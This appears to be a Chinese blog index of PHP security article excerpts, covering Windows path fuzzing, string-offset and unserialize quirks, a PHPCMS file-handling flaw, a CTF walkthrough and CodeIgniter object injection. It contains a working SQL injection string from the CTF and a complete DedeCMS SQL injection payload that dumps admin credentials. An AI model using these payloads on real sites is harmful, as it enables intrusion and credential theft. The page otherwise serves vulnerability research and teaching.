php

当Windows遇上PHP–路径爆破

由

1.开场白

此次所披露的是以下网页中提出的问题所取得的测试结果：

http://code.google.com/p/pasc2at/wiki/SimplifiedChinese

1
2
3
4
5
6
7
<?php
for ($i=0; $i<255; $i++) {
$url = '1.ph' . chr($i);
$tmp = @file_get_contents($url);
if (!empty($tmp)) echo chr($i) . "\r\n";
}
?>

已知1.php存在，以上脚本访问的结果是：

1.php
1.phP
1.ph< 1.ph>

阅读更多

Security risk of php string offset

由

by ryat_at_www.80vul.com
一、前言[关于PCH]

“PCH”及”Php Codz Hacking”是80vul在2009年4月推出的一个项目，主要是在php源代码的基
础分析和探讨一些可以给php应用安全带来影响的’特性’或者’漏洞’。这个项目最早起源于
webzine 0x3里的《高级PHP应用程序漏洞审核技术》[1]:

* 分析php源代码，发现新的漏洞函数“特性”或者漏洞。（在上一节里介绍的那些“漏洞审
计策略”里，都没有php源代码的分析，如果你要进一步找到新的字典，可以在php源代码的
基础上分析下成因，然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。）

而本文就是PCH的一篇，在php的代码基础上分析PHP字符串offset一个可以给PHP应用程序带
来安全风险的小”特性”…

阅读更多

PHPCMS前台设计缺陷导致任意代码执行

由

#1 前言

猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都完完了…

#2 叼着炸药包的猛兽来了

请先看下面这段代码

1
2
3
4
5
6
7
8
9
<?php
 
if(isset($_GET['src'])){
  copy($_GET['src'],$_GET['dst']);
  //...
  unlink($_GET['dst']);
  //...
}
?>

这段代码实际意义不大,不过,没关系我们重在研究嘛,一种典型的”将猛兽放进室内,才杀之”的案例，我们来看看

阅读更多

php反序列unserialize的一个小特性

由

这几天wordpress的那个反序列漏洞比较火，具体漏洞我就不做分析了，看这篇：http://drops.wooyun.org/papers/596，
你也可以去看英文的原文：http://vagosec.org/2013/09/wordpress-php-object-injection/。

wp官网打了补丁，我试图去bypass补丁，但让我自以为成功的时候，发现我天真了，并没有成功绕过wp的补丁，但却发现了unserialize的一个小特性，在此和大家分享一下。

阅读更多

php4fun.sinaapp.com PHP挑战通关攻略

由

挑战地址：”http://php4fun.sinaapp.com”
challenge 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#GOAL: get password from admin;
error_reporting(0);
require 'db.inc.php';
function clean($str){
    if(get_magic_quotes_gpc()){
        $str=stripslashes($str);
    }
    return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}
$row = mysql_fetch_assoc($result);
echo "Hello ".$row['name']."</br>";
echo "Your password is:".$row['pass']."</br>";

攻略：

在单引号内的mysql注入，核心就是逃脱单引号，要么生成一个(htmlentities了单引号，不太可能)，要么…干掉一个。

所以：

http://php4fun.sinaapp.com/c1/index.php?username=admin\&password=%20or%201%23

阅读更多

Codeigniter 利用加密Key（密钥）的对象注入漏洞

由

0x00 背景
大家好，Codeigniter 是我最喜爱的PHP框架之一。和别人一样，我在这个框架中学习了PHP MVC编程。今天，我决定来分析一下Codeigniter的PHP 对象注入漏洞。

我在接下来的叙述中会把重点放在Codeigniter的Session会话机制上。所有我将会分析的method方法都在CodeIgniter/system/libraries/Session.php文件里。我在本研究过程中使用的是Codeigniter 2.1 版本。

阅读更多

DedeCMS全版本通杀SQL注入漏洞利用代码及工具

由

dedecms即织梦（PHP开源网站内容管理系统）。织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名，是国内最知名的PHP开源网站管理系统，也是使用用户最多的PHP类CMS系统，近日，网友在dedecms中发现了全版本通杀的SQL注入漏洞，目前官方最新版已修复该漏洞，相关利用代码如下：
EXP:

Exp:plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\’ or mid=@`\’` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\’`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111

利用工具源码：

阅读更多